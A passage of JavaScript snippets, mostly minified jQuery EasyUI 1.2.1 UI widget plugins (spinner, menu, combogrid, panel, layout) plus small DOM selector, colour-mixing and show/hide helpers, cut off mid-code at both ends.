return(f.getElementsByTagName(s[1])); return(objlist); } if(selector.indexOf("#")>0){ //id selector like "tag#id" s=selector.split("#"); tag=s[0]; selid=s[1]; } if(selid!=""){ f=document.getElementById(selid); if(f) objlist.push(f); return(objlist); } if(selector.indexOf(".")>0){ //class selector like "tag.class" s=selector.split("."); tag=s[0]; selclass=s[1]; } var v=document.getElementsByTagName(tag); // tag selector like "tag" if(selclass=="") return(v); for(i=0;i<v.length;i++){ if(v[i].className.indexOf(selclass)>=0){ objlist.push(v[i]); } } return(objlist); } function Mix(c1,c2){ var i,step1,step2,x,y,r=new Array(3); if(c1.length==4)step1=1; else step1=2; if(c2.length==4) step2=1; else step2=2; for(i=0;i<3;i++){ x=parseInt(c1.substr(1+step1*i,step1),16); if(step1==1) x=16*x+x; y=parseInt(c2.substr(1+step2*i,step2),16); if(step2==1) y=16*y+y; r[i]=Math.floor((x*50+y*50)/100); } return("#"+r[0].toString(16)+r[1].toString(16)+r[2].toString(16)); }
JavaScript
// show and hide a div function showHide(obj,img,img1,img2) { if (obj.style.display == "block") { obj.style.display = "none"; img.innerHTML = "<img src='" + img1 + " '>"; } else { obj.style.display = "block"; img.innerHTML = "<img src='" + img2 + " '>"; } }
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$("<span class=\"spinner\">"+"<span class=\"spinner-arrow\">"+"<span class=\"spinner-arrow-up\"></span>"+"<span class=\"spinner-arrow-down\"></span>"+"</span>"+"</span>").insertAfter(_2); $(_2).addClass("spinner-text").prependTo(_3); return _3; }; function _4(_5,_6){ var _7=$.data(_5,"spinner").options; var _8=$.data(_5,"spinner").spinner; if(_6){ _7.width=_6; } var _9=$("<div style=\"display:none\"></div>").insertBefore(_8); _8.appendTo("body"); if(isNaN(_7.width)){ _7.width=$(_5).outerWidth(); } var _a=_8.find(".spinner-arrow").outerWidth(); var _6=_7.width-_a; if($.boxModel==true){ _6-=_8.outerWidth()-_8.width(); } $(_5).width(_6); _8.insertAfter(_9); _9.remove(); }; function _b(_c){ var _d=$.data(_c,"spinner").options; var _e=$.data(_c,"spinner").spinner; _e.find(".spinner-arrow-up,.spinner-arrow-down").unbind(".spinner"); if(!_d.disabled){ _e.find(".spinner-arrow-up").bind("mouseenter.spinner",function(){ $(this).addClass("spinner-arrow-hover"); }).bind("mouseleave.spinner",function(){ $(this).removeClass("spinner-arrow-hover"); }).bind("click.spinner",function(){ _d.spin.call(_c,false); _d.onSpinUp.call(_c); $(_c).validatebox("validate"); }); _e.find(".spinner-arrow-down").bind("mouseenter.spinner",function(){ $(this).addClass("spinner-arrow-hover"); }).bind("mouseleave.spinner",function(){ $(this).removeClass("spinner-arrow-hover"); }).bind("click.spinner",function(){ _d.spin.call(_c,true); _d.onSpinDown.call(_c); $(_c).validatebox("validate"); }); } }; function _f(_10,_11){ var _12=$.data(_10,"spinner").options; if(_11){ _12.disabled=true; $(_10).attr("disabled",true); }else{ _12.disabled=false; $(_10).removeAttr("disabled"); } }; $.fn.spinner=function(_13,_14){ if(typeof _13=="string"){ var _15=$.fn.spinner.methods[_13]; if(_15){ return _15(this,_14); }else{ return this.validatebox(_13,_14); } } _13=_13||{}; return this.each(function(){ var _16=$.data(this,"spinner"); if(_16){ $.extend(_16.options,_13); }else{ _16=$.data(this,"spinner",{options:$.extend({},$.fn.spinner.defaults,$.fn.spinner.parseOptions(this),_13),spinner:_1(this)}); $(this).removeAttr("disabled"); } $(this).val(_16.options.value); $(this).attr("readonly",!_16.options.editable); _f(this,_16.options.disabled); _4(this); $(this).validatebox(_16.options); _b(this); }); }; $.fn.spinner.methods={options:function(jq){ var _17=$.data(jq[0],"spinner").options; return $.extend(_17,{value:jq.val()}); },destroy:function(jq){ return jq.each(function(){ var _18=$.data(this,"spinner").spinner; $(this).validatebox("destroy"); _18.remove(); }); },resize:function(jq,_19){ return jq.each(function(){ _4(this,_19); }); },enable:function(jq){ return jq.each(function(){ _f(this,false); _b(this); }); },disable:function(jq){ return jq.each(function(){ _f(this,true); _b(this); }); },getValue:function(jq){ return jq.val(); },setValue:function(jq,_1a){ return jq.each(function(){ var _1b=$.data(this,"spinner").options; _1b.value=_1a; $(this).val(_1a); }); },clear:function(jq){ return jq.each(function(){ var _1c=$.data(this,"spinner").options; _1c.value=""; $(this).val(""); }); }}; $.fn.spinner.parseOptions=function(_1d){ var t=$(_1d); return $.extend({},$.fn.validatebox.parseOptions(_1d),{width:(parseInt(_1d.style.width)||undefined),value:(t.val()||undefined),min:t.attr("min"),max:t.attr("max"),increment:(parseFloat(t.attr("increment"))||undefined),editable:(t.attr("editable")?t.attr("editable")=="true":undefined),disabled:(t.attr("disabled")?true:undefined)}); }; $.fn.spinner.defaults=$.extend({},$.fn.validatebox.defaults,{width:"auto",value:"",min:null,max:null,increment:1,editable:true,disabled:false,spin:function(_1e){ },onSpinUp:function(){ },onSpinDown:function(){ }}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ $(_2).appendTo("body"); $(_2).addClass("menu-top"); var _3=[]; _4($(_2)); var _5=null; for(var i=0;i<_3.length;i++){ var _6=_3[i]; _7(_6); _6.find(">div.menu-item").each(function(){ _8($(this)); }); _6.find("div.menu-item").click(function(){ if(!this.submenu){ _17(_2); var _9=$(this).attr("href"); if(_9){ location.href=_9; } } var _a=$(_2).menu("getItem",this); $.data(_2,"menu").options.onClick.call(_2,_a); }); _6.bind("mouseenter",function(){ if(_5){ clearTimeout(_5); _5=null; } }).bind("mouseleave",function(){ _5=setTimeout(function(){ _17(_2); },100); }); } function _4(_b){ _3.push(_b); _b.find(">div").each(function(){ var _c=$(this); var _d=_c.find(">div"); if(_d.length){ _d.insertAfter(_2); _c[0].submenu=_d; _4(_d); } }); }; function _8(_e){ _e.hover(function(){ _e.siblings().each(function(){ if(this.submenu){ _1a(this.submenu); } $(this).removeClass("menu-active"); }); _e.addClass("menu-active"); var _f=_e[0].submenu; if(_f){ var _10=_e.offset().left+_e.outerWidth()-2; if(_10+_f.outerWidth()>$(window).width()){ _10=_e.offset().left-_f.outerWidth()+2; } _1e(_f,{left:_10,top:_e.offset().top-3}); } },function(e){ _e.removeClass("menu-active"); var _11=_e[0].submenu; if(_11){ if(e.pageX>=parseInt(_11.css("left"))){ _e.addClass("menu-active"); }else{ _1a(_11); } }else{ _e.removeClass("menu-active"); } }); _e.unbind(".menu").bind("mousedown.menu",function(){ return false; }); }; function _7(_12){ _12.addClass("menu").find(">div").each(function(){ var _13=$(this); if(_13.hasClass("menu-sep")){ _13.html("&nbsp;"); }else{ var _14=_13.addClass("menu-item").html(); _13.empty().append($("<div class=\"menu-text\"></div>").html(_14)); var _15=_13.attr("iconCls")||_13.attr("icon"); if(_15){ $("<div class=\"menu-icon\"></div>").addClass(_15).appendTo(_13); } if(_13[0].submenu){ $("<div class=\"menu-rightarrow\"></div>").appendTo(_13); } if($.boxModel==true){ var _16=_13.height(); _13.height(_16-(_13.outerHeight()-_13.height())); } } }); _12.hide(); }; }; function _17(_18){ var _19=$.data(_18,"menu").options; _1a($(_18)); $(document).unbind(".menu"); _19.onHide.call(_18); return false; }; function _1b(_1c,pos){ var _1d=$.data(_1c,"menu").options; if(pos){ _1d.left=pos.left; _1d.top=pos.top; } _1e($(_1c),{left:_1d.left,top:_1d.top},function(){ $(document).unbind(".menu").bind("mousedown.menu",function(){ _17(_1c); $(document).unbind(".menu"); return false; }); _1d.onShow.call(_1c); }); }; function _1e(_1f,pos,_20){ if(!_1f){ return; } if(pos){ _1f.css(pos); } _1f.show(1,function(){ if(!_1f[0].shadow){ _1f[0].shadow=$("<div class=\"menu-shadow\"></div>").insertAfter(_1f); } _1f[0].shadow.css({display:"block",zIndex:$.fn.menu.defaults.zIndex++,left:_1f.css("left"),top:_1f.css("top"),width:_1f.outerWidth(),height:_1f.outerHeight()}); _1f.css("z-index",$.fn.menu.defaults.zIndex++); if(_20){ _20(); } }); }; function _1a(_21){ if(!_21){ return; } _22(_21); _21.find("div.menu-item").each(function(){ if(this.submenu){ _1a(this.submenu); } $(this).removeClass("menu-active"); }); function _22(m){ if(m[0].shadow){ m[0].shadow.hide(); } m.hide(); }; }; $.fn.menu=function(_23,_24){ if(typeof _23=="string"){ return $.fn.menu.methods[_23](this,_24); } _23=_23||{}; return this.each(function(){ var _25=$.data(this,"menu"); if(_25){ $.extend(_25.options,_23); }else{ _25=$.data(this,"menu",{options:$.extend({},$.fn.menu.defaults,_23)}); _1(this); } $(this).css({left:_25.options.left,top:_25.options.top}); }); }; $.fn.menu.methods={show:function(jq,pos){ return jq.each(function(){ _1b(this,pos); }); },hide:function(jq){ return jq.each(function(){ _17(this); }); },setText:function(jq,_26){ return jq.each(function(){ $(_26.target).children("div.menu-text").html(_26.text); }); },setIcon:function(jq,_27){ return jq.each(function(){ var _28=$(this).menu("getItem",_27.target); if(_28.iconCls){ $(_28.target).children("div.menu-icon").removeClass(_28.iconCls).addClass(_27.iconCls); }else{ $("<div class=\"menu-icon\"></div>").addClass(_27.iconCls).appendTo(_27.target); } }); },getItem:function(jq,_29){ var _2a={target:_29,text:$(_29).children("div.menu-text").html()}; var _2b=$(_29).children("div.menu-icon"); if(_2b.length){ var cc=[]; var aa=_2b.attr("class").split(" "); for(var i=0;i<aa.length;i++){ if(aa[i]!="menu-icon"){ cc.push(aa[i]); } } _2a.iconCls=cc.join(" "); } return _2a; }}; $.fn.menu.defaults={zIndex:110000,left:0,top:0,onShow:function(){ },onHide:function(){ },onClick:function(_2c){ }}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"combogrid").options; var _4=$.data(_2,"combogrid").grid; $(_2).addClass("combogrid-f"); $(_2).combo(_3); var _5=$(_2).combo("panel"); if(!_4){ _4=$("<table></table>").appendTo(_5); $.data(_2,"combogrid").grid=_4; } _4.datagrid($.extend({},_3,{border:false,fit:true,singleSelect:(!_3.multiple),onLoadSuccess:function(_6){ var _7=$.data(_2,"combogrid").remainText; var _8=$(_2).combo("getValues"); _1c(_2,_8,_7); $.data(_2,"combogrid").remainText=false; _3.onLoadSuccess.apply(this,arguments); },onClickRow:_9,onSelect:function(_a,_b){ _c(); _3.onSelect.call(this,_a,_b); },onUnselect:function(_d,_e){ _c(); _3.onUnselect.call(this,_d,_e); },onSelectAll:function(_f){ _c(); _3.onSelectAll.call(this,_f); },onUnselectAll:function(_10){ _c(); _3.onUnselectAll.call(this,_10); }})); function _9(_11,row){ $.data(_2,"combogrid").remainText=false; _c(); if(!_3.multiple){ $(_2).combo("hidePanel"); } _3.onClickRow.call(this,_11,row); }; function _c(){ var _12=$.data(_2,"combogrid").remainText; var _13=_4.datagrid("getSelections"); var vv=[],ss=[]; for(var i=0;i<_13.length;i++){ vv.push(_13[i][_3.idField]); ss.push(_13[i][_3.textField]); } $(_2).combo("setValues",vv); if(!vv.length&&!_3.multiple){ $(_2).combo("setValues",[""]); } if(!_12){ $(_2).combo("setText",ss.join(_3.separator)); } }; }; function _14(_15,_16){ var _17=$.data(_15,"combogrid").options; var _18=$.data(_15,"combogrid").grid; var _19=_18.datagrid("getRows").length; $.data(_15,"combogrid").remainText=false; var _1a; var _1b=_18.datagrid("getSelections"); if(_1b.length){ _1a=_18.datagrid("getRowIndex",_1b[_1b.length-1][_17.idField]); _1a+=_16; if(_1a<0){ _1a=0; } if(_1a>=_19){ _1a=_19-1; } }else{ if(_16>0){ _1a=0; }else{ if(_16<0){ _1a=_19-1; }else{ _1a=-1; } } } if(_1a>=0){ _18.datagrid("clearSelections"); _18.datagrid("selectRow",_1a); } }; function _1c(_1d,_1e,_1f){ var _20=$.data(_1d,"combogrid").options; var _21=$.data(_1d,"combogrid").grid; var _22=_21.datagrid("getRows"); var ss=[]; _21.datagrid("clearSelections"); for(var i=0;i<_1e.length;i++){ var _23=_21.datagrid("getRowIndex",_1e[i]); if(_23>=0){ _21.datagrid("selectRow",_23); ss.push(_22[_23][_20.textField]); }else{ ss.push(_1e[i]); } } $(_1d).combo("setValues",_1e); if(!_1f){ $(_1d).combo("setText",ss.join(_20.separator)); } }; function _24(_25,q){ var _26=$.data(_25,"combogrid").options; var _27=$.data(_25,"combogrid").grid; $.data(_25,"combogrid").remainText=true; if(_26.multiple&&!q){ _1c(_25,[],true); }else{ _1c(_25,[q],true); } if(_26.mode=="remote"){ _27.datagrid("reload",{q:q}); }else{ if(!q){ return; } var _28=_27.datagrid("getRows"); for(var i=0;i<_28.length;i++){ if(_26.filter.call(_25,q,_28[i])){ _27.datagrid("clearSelections"); _27.datagrid("selectRow",i); return; } } } }; $.fn.combogrid=function(_29,_2a){ if(typeof _29=="string"){ var _2b=$.fn.combogrid.methods[_29]; if(_2b){ return _2b(this,_2a); }else{ return $.fn.combo.methods[_29](this,_2a); } } _29=_29||{}; return this.each(function(){ var _2c=$.data(this,"combogrid"); if(_2c){ $.extend(_2c.options,_29); }else{ _2c=$.data(this,"combogrid",{options:$.extend({},$.fn.combogrid.defaults,$.fn.combogrid.parseOptions(this),_29)}); } _1(this); }); }; $.fn.combogrid.methods={options:function(jq){ return $.data(jq[0],"combogrid").options; },grid:function(jq){ return $.data(jq[0],"combogrid").grid; },setValues:function(jq,_2d){ return jq.each(function(){ _1c(this,_2d); }); },setValue:function(jq,_2e){ return jq.each(function(){ _1c(this,[_2e]); }); },clear:function(jq){ return jq.each(function(){ $(this).combogrid("grid").datagrid("clearSelections"); $(this).combo("clear"); }); }}; $.fn.combogrid.parseOptions=function(_2f){ var t=$(_2f); return $.extend({},$.fn.combo.parseOptions(_2f),$.fn.datagrid.parseOptions(_2f),{idField:(t.attr("idField")||undefined),textField:(t.attr("textField")||undefined),mode:t.attr("mode")}); }; $.fn.combogrid.defaults=$.extend({},$.fn.combo.defaults,$.fn.datagrid.defaults,{loadMsg:null,idField:null,textField:null,mode:"local",keyHandler:{up:function(){ _14(this,-1); },down:function(){ _14(this,1); },enter:function(){ _14(this,0); $(this).combo("hidePanel"); },query:function(q){ _24(this,q); }},filter:function(q,row){ var _30=$(this).combogrid("options"); return row[_30.textField].indexOf(q)==0; }}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ _2.each(function(){ $(this).remove(); if($.browser.msie){ this.outerHTML=""; } }); }; function _3(_4,_5){ var _6=$.data(_4,"panel").options; var _7=$.data(_4,"panel").panel; var _8=_7.children("div.panel-header"); var _9=_7.children("div.panel-body"); if(_5){ if(_5.width){ _6.width=_5.width; } if(_5.height){ _6.height=_5.height; } if(_5.left!=null){ _6.left=_5.left; } if(_5.top!=null){ _6.top=_5.top; } } if(_6.fit==true){ var p=_7.parent(); _6.width=p.width(); _6.height=p.height(); } _7.css({left:_6.left,top:_6.top}); if(!isNaN(_6.width)){ if($.boxModel==true){ _7.width(_6.width-(_7.outerWidth()-_7.width())); }else{ _7.width(_6.width); } }else{ _7.width("auto"); } if($.boxModel==true){ _8.width(_7.width()-(_8.outerWidth()-_8.width())); _9.width(_7.width()-(_9.outerWidth()-_9.width())); }else{ _8.width(_7.width()); _9.width(_7.width()); } if(!isNaN(_6.height)){ if($.boxModel==true){ _7.height(_6.height-(_7.outerHeight()-_7.height())); _9.height(_7.height()-_8.outerHeight()-(_9.outerHeight()-_9.height())); }else{ _7.height(_6.height); _9.height(_7.height()-_8.outerHeight()); } }else{ _9.height("auto"); } _7.css("height",null); _6.onResize.apply(_4,[_6.width,_6.height]); _7.find(">div.panel-body>div").triggerHandler("_resize"); }; function _a(_b,_c){ var _d=$.data(_b,"panel").options; var _e=$.data(_b,"panel").panel; if(_c){ if(_c.left!=null){ _d.left=_c.left; } if(_c.top!=null){ _d.top=_c.top; } } _e.css({left:_d.left,top:_d.top}); _d.onMove.apply(_b,[_d.left,_d.top]); }; function _f(_10){ var _11=$(_10).addClass("panel-body").wrap("<div class=\"panel\"></div>").parent(); _11.bind("_resize",function(){ var _12=$.data(_10,"panel").options; if(_12.fit==true){ _3(_10); } return false; }); return _11; }; function _13(_14){ var _15=$.data(_14,"panel").options; var _16=$.data(_14,"panel").panel; _1(_16.find(">div.panel-header")); if(_15.title&&!_15.noheader){ var _17=$("<div class=\"panel-header\"><div class=\"panel-title\">"+_15.title+"</div></div>").prependTo(_16); if(_15.iconCls){ _17.find(".panel-title").addClass("panel-with-icon"); $("<div class=\"panel-icon\"></div>").addClass(_15.iconCls).appendTo(_17); } var _18=$("<div class=\"panel-tool\"></div>").appendTo(_17); if(_15.closable){ $("<div class=\"panel-tool-close\"></div>").appendTo(_18).bind("click",_19); } if(_15.maximizable){ $("<div class=\"panel-tool-max\"></div>").appendTo(_18).bind("click",_1a); } if(_15.minimizable){ $("<div class=\"panel-tool-min\"></div>").appendTo(_18).bind("click",_1b); } if(_15.collapsible){ $("<div class=\"panel-tool-collapse\"></div>").appendTo(_18).bind("click",_1c); } if(_15.tools){ for(var i=_15.tools.length-1;i>=0;i--){ var t=$("<div></div>").addClass(_15.tools[i].iconCls).appendTo(_18); if(_15.tools[i].handler){ t.bind("click",eval(_15.tools[i].handler)); } } } _18.find("div").hover(function(){ $(this).addClass("panel-tool-over"); },function(){ $(this).removeClass("panel-tool-over"); }); _16.find(">div.panel-body").removeClass("panel-body-noheader"); }else{ _16.find(">div.panel-body").addClass("panel-body-noheader"); } function _1c(){ if(_15.collapsed==true){ _38(_14,true); }else{ _28(_14,true); } return false; }; function _1b(){ _43(_14); return false; }; function _1a(){ if(_15.maximized==true){ _47(_14); }else{ _27(_14); } return false; }; function _19(){ _1d(_14); return false; }; }; function _1e(_1f){ var _20=$.data(_1f,"panel"); if(_20.options.href&&(!_20.isLoaded||!_20.options.cache)){ _20.isLoaded=false; var _21=_20.panel.find(">div.panel-body"); _21.html($("<div class=\"panel-loading\"></div>").html(_20.options.loadingMessage)); _21.load(_20.options.href,null,function(){ if($.parser){ $.parser.parse(_21); } _20.options.onLoad.apply(_1f,arguments); _20.isLoaded=true; }); } }; function _22(_23,_24){ var _25=$.data(_23,"panel").options; var _26=$.data(_23,"panel").panel; if(_24!=true){ if(_25.onBeforeOpen.call(_23)==false){ return; } } _26.show(); _25.closed=false; _25.minimized=false; _25.onOpen.call(_23); if(_25.maximized==true){ _25.maximized=false; _27(_23); } if(_25.collapsed==true){ _25.collapsed=false; _28(_23); } if(!_25.collapsed){ _1e(_23); } }; function _1d(_29,_2a){ var _2b=$.data(_29,"panel").options; var _2c=$.data(_29,"panel").panel; if(_2a!=true){ if(_2b.onBeforeClose.call(_29)==false){ return; } } _2c.hide(); _2b.closed=true; _2b.onClose.call(_29); }; function _2d(_2e,_2f){ var _30=$.data(_2e,"panel").options; var _31=$.data(_2e,"panel").panel; if(_2f!=true){ if(_30.onBeforeDestroy.call(_2e)==false){ return; } } _1(_31); _30.onDestroy.call(_2e); }; function _28(_32,_33){ var _34=$.data(_32,"panel").options; var _35=$.data(_32,"panel").panel; var _36=_35.children("div.panel-body"); var _37=_35.children("div.panel-header").find("div.panel-tool-collapse"); if(_34.collapsed==true){ return; } _36.stop(true,true); if(_34.onBeforeCollapse.call(_32)==false){ return; } _37.addClass("panel-tool-expand"); if(_33==true){ _36.slideUp("normal",function(){ _34.collapsed=true; _34.onCollapse.call(_32); }); }else{ _36.hide(); _34.collapsed=true; _34.onCollapse.call(_32); } }; function _38(_39,_3a){ var _3b=$.data(_39,"panel").options; var _3c=$.data(_39,"panel").panel; var _3d=_3c.children("div.panel-body"); var _3e=_3c.children("div.panel-header").find("div.panel-tool-collapse"); if(_3b.collapsed==false){ return; } _3d.stop(true,true); if(_3b.onBeforeExpand.call(_39)==false){ return; } _3e.removeClass("panel-tool-expand"); if(_3a==true){ _3d.slideDown("normal",function(){ _3b.collapsed=false; _3b.onExpand.call(_39); _1e(_39); }); }else{ _3d.show(); _3b.collapsed=false; _3b.onExpand.call(_39); _1e(_39); } }; function _27(_3f){ var _40=$.data(_3f,"panel").options; var _41=$.data(_3f,"panel").panel; var _42=_41.children("div.panel-header").find("div.panel-tool-max"); if(_40.maximized==true){ return; } _42.addClass("panel-tool-restore"); $.data(_3f,"panel").original={width:_40.width,height:_40.height,left:_40.left,top:_40.top,fit:_40.fit}; _40.left=0; _40.top=0; _40.fit=true; _3(_3f); _40.minimized=false; _40.maximized=true; _40.onMaximize.call(_3f); }; function _43(_44){ var _45=$.data(_44,"panel").options; var _46=$.data(_44,"panel").panel; _46.hide(); _45.minimized=true; _45.maximized=false; _45.onMinimize.call(_44); }; function _47(_48){ var _49=$.data(_48,"panel").options; var _4a=$.data(_48,"panel").panel; var _4b=_4a.children("div.panel-header").find("div.panel-tool-max"); if(_49.maximized==false){ return; } _4a.show(); _4b.removeClass("panel-tool-restore"); var _4c=$.data(_48,"panel").original; _49.width=_4c.width; _49.height=_4c.height; _49.left=_4c.left; _49.top=_4c.top; _49.fit=_4c.fit; _3(_48); _49.minimized=false; _49.maximized=false; _49.onRestore.call(_48); }; function _4d(_4e){ var _4f=$.data(_4e,"panel").options; var _50=$.data(_4e,"panel").panel; if(_4f.border==true){ _50.children("div.panel-header").removeClass("panel-header-noborder"); _50.children("div.panel-body").removeClass("panel-body-noborder"); }else{ _50.children("div.panel-header").addClass("panel-header-noborder"); _50.children("div.panel-body").addClass("panel-body-noborder"); } _50.css(_4f.style); _50.addClass(_4f.cls); _50.children("div.panel-header").addClass(_4f.headerCls); _50.children("div.panel-body").addClass(_4f.bodyCls); }; function _51(_52,_53){ $.data(_52,"panel").options.title=_53; $(_52).panel("header").find("div.panel-title").html(_53); }; var TO=false; var _54=true; $(window).unbind(".panel").bind("resize.panel",function(){ if(!_54){ return; } if(TO!==false){ clearTimeout(TO); } TO=setTimeout(function(){ _54=false; var _55=$("body.layout"); if(_55.length){ _55.layout("resize"); }else{ $("body>div.panel").triggerHandler("_resize"); } _54=true; TO=false; },200); }); $.fn.panel=function(_56,_57){ if(typeof _56=="string"){ return $.fn.panel.methods[_56](this,_57); } _56=_56||{}; return this.each(function(){ var _58=$.data(this,"panel"); var _59; if(_58){ _59=$.extend(_58.options,_56); }else{ _59=$.extend({},$.fn.panel.defaults,$.fn.panel.parseOptions(this),_56); $(this).attr("title",""); _58=$.data(this,"panel",{options:_59,panel:_f(this),isLoaded:false}); } if(_59.content){ $(this).html(_59.content); if($.parser){ $.parser.parse(this); } } _13(this); _4d(this); if(_59.doSize==true){ _58.panel.css("display","block"); _3(this); } if(_59.closed==true||_59.minimized==true){ _58.panel.hide(); }else{ _22(this); } }); }; $.fn.panel.methods={options:function(jq){ return $.data(jq[0],"panel").options; },panel:function(jq){ return $.data(jq[0],"panel").panel; },header:function(jq){ return $.data(jq[0],"panel").panel.find(">div.panel-header"); },body:function(jq){ return $.data(jq[0],"panel").panel.find(">div.panel-body"); },setTitle:function(jq,_5a){ return jq.each(function(){ _51(this,_5a); }); },open:function(jq,_5b){ return jq.each(function(){ _22(this,_5b); }); },close:function(jq,_5c){ return jq.each(function(){ _1d(this,_5c); }); },destroy:function(jq,_5d){ return jq.each(function(){ _2d(this,_5d); }); },refresh:function(jq){ return jq.each(function(){ $.data(this,"panel").isLoaded=false; _1e(this); }); },resize:function(jq,_5e){ return jq.each(function(){ _3(this,_5e); }); },move:function(jq,_5f){ return jq.each(function(){ _a(this,_5f); }); },maximize:function(jq){ return jq.each(function(){ _27(this); }); },minimize:function(jq){ return jq.each(function(){ _43(this); }); },restore:function(jq){ return jq.each(function(){ _47(this); }); },collapse:function(jq,_60){ return jq.each(function(){ _28(this,_60); }); },expand:function(jq,_61){ return jq.each(function(){ _38(this,_61); }); }}; $.fn.panel.parseOptions=function(_62){ var t=$(_62); return {width:(parseInt(_62.style.width)||undefined),height:(parseInt(_62.style.height)||undefined),left:(parseInt(_62.style.left)||undefined),top:(parseInt(_62.style.top)||undefined),title:(t.attr("title")||undefined),iconCls:(t.attr("iconCls")||t.attr("icon")),cls:t.attr("cls"),headerCls:t.attr("headerCls"),bodyCls:t.attr("bodyCls"),href:t.attr("href"),cache:(t.attr("cache")?t.attr("cache")=="true":undefined),fit:(t.attr("fit")?t.attr("fit")=="true":undefined),border:(t.attr("border")?t.attr("border")=="true":undefined),noheader:(t.attr("noheader")?t.attr("noheader")=="true":undefined),collapsible:(t.attr("collapsible")?t.attr("collapsible")=="true":undefined),minimizable:(t.attr("minimizable")?t.attr("minimizable")=="true":undefined),maximizable:(t.attr("maximizable")?t.attr("maximizable")=="true":undefined),closable:(t.attr("closable")?t.attr("closable")=="true":undefined),collapsed:(t.attr("collapsed")?t.attr("collapsed")=="true":undefined),minimized:(t.attr("minimized")?t.attr("minimized")=="true":undefined),maximized:(t.attr("maximized")?t.attr("maximized")=="true":undefined),closed:(t.attr("closed")?t.attr("closed")=="true":undefined)}; }; $.fn.panel.defaults={title:null,iconCls:null,width:"auto",height:"auto",left:null,top:null,cls:null,headerCls:null,bodyCls:null,style:{},href:null,cache:true,fit:false,border:true,doSize:true,noheader:false,content:null,collapsible:false,minimizable:false,maximizable:false,closable:false,collapsed:false,minimized:false,maximized:false,closed:false,tools:[],href:null,loadingMessage:"Loading...",onLoad:function(){ },onBeforeOpen:function(){ },onOpen:function(){ },onBeforeClose:function(){ },onClose:function(){ },onBeforeDestroy:function(){ },onDestroy:function(){ },onResize:function(_63,_64){ },onMove:function(_65,top){ },onMaximize:function(){ },onRestore:function(){ },onMinimize:function(){ },onBeforeCollapse:function(){ },onBeforeExpand:function(){ },onCollapse:function(){ },onExpand:function(){ }}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ var _1=false; function _2(_3){ var _4=$.data(_3,"layout").options; var _5=$.data(_3,"layout").panels; var cc=$(_3); if(_4.fit==true){ var p=cc.parent(); cc.width(p.width()).height(p.height()); } var _6={top:0,left:0,width:cc.width(),height:cc.height()}; function _7(pp){ if(pp.length==0){ return; } pp.panel("resize",{width:cc.width(),height:pp.panel("options").height,left:0,top:0}); _6.top+=pp.panel("options").height; _6.height-=pp.panel("options").height; }; if(_b(_5.expandNorth)){ _7(_5.expandNorth); }else{ _7(_5.north); } function _8(pp){ if(pp.length==0){ return; } pp.panel("resize",{width:cc.width(),height:pp.panel("options").height,left:0,top:cc.height()-pp.panel("options").height}); _6.height-=pp.panel("options").height; }; if(_b(_5.expandSouth)){ _8(_5.expandSouth); }else{ _8(_5.south); } function _9(pp){ if(pp.length==0){ return; } pp.panel("resize",{width:pp.panel("options").width,height:_6.height,left:cc.width()-pp.panel("options").width,top:_6.top}); _6.width-=pp.panel("options").width; }; if(_b(_5.expandEast)){ _9(_5.expandEast); }else{ _9(_5.east); } function _a(pp){ if(pp.length==0){ return; } pp.panel("resize",{width:pp.panel("options").width,height:_6.height,left:0,top:_6.top}); _6.left+=pp.panel("options").width; _6.width-=pp.panel("options").width; }; if(_b(_5.expandWest)){ _a(_5.expandWest); }else{ _a(_5.west); } _5.center.panel("resize",_6); }; function _c(_d){ var cc=$(_d); if(cc[0].tagName=="BODY"){ $("html").css({height:"100%",overflow:"hidden"}); $("body").css({height:"100%",overflow:"hidden",border:"none"}); } cc.addClass("layout"); cc.css({margin:0,padding:0}); function _e(_f){ var pp=$(">div[region="+_f+"]",_d).addClass("layout-body"); var _10=null; if(_f=="north"){ _10="layout-button-up"; }else{ if(_f=="south"){ _10="layout-button-down"; }else{ if(_f=="east"){ _10="layout-button-right"; }else{ if(_f=="west"){ _10="layout-button-left"; } } } } var cls="layout-panel layout-panel-"+_f; if(pp.attr("split")=="true"){ cls+=" layout-split-"+_f; } pp.panel({cls:cls,doSize:false,border:(pp.attr("border")=="false"?false:true),tools:[{iconCls:_10,handler:function(){ _1b(_d,_f); }}]}); if(pp.attr("split")=="true"){ var _11=pp.panel("panel"); var _12=""; if(_f=="north"){ _12="s"; } if(_f=="south"){ _12="n"; } if(_f=="east"){ _12="w"; } if(_f=="west"){ _12="e"; } _11.resizable({handles:_12,onStartResize:function(e){ _1=true; if(_f=="north"||_f=="south"){ var _13=$(">div.layout-split-proxy-v",_d); }else{ var _13=$(">div.layout-split-proxy-h",_d); } var top=0,_14=0,_15=0,_16=0; var pos={display:"block"}; if(_f=="north"){ pos.top=parseInt(_11.css("top"))+_11.outerHeight()-_13.height(); pos.left=parseInt(_11.css("left")); pos.width=_11.outerWidth(); pos.height=_13.height(); }else{ if(_f=="south"){ pos.top=parseInt(_11.css("top")); pos.left=parseInt(_11.css("left")); pos.width=_11.outerWidth(); pos.height=_13.height(); }else{ if(_f=="east"){ pos.top=parseInt(_11.css("top"))||0; pos.left=parseInt(_11.css("left"))||0; pos.width=_13.width(); pos.height=_11.outerHeight(); }else{ if(_f=="west"){ pos.top=parseInt(_11.css("top"))||0; pos.left=_11.outerWidth()-_13.width(); pos.width=_13.width(); pos.height=_11.outerHeight(); } } } } _13.css(pos); $("<div class=\"layout-mask\"></div>").css({left:0,top:0,width:cc.width(),height:cc.height()}).appendTo(cc); },onResize:function(e){ if(_f=="north"||_f=="south"){ var _17=$(">div.layout-split-proxy-v",_d); _17.css("top",e.pageY-$(_d).offset().top-_17.height()/2); }else{ var 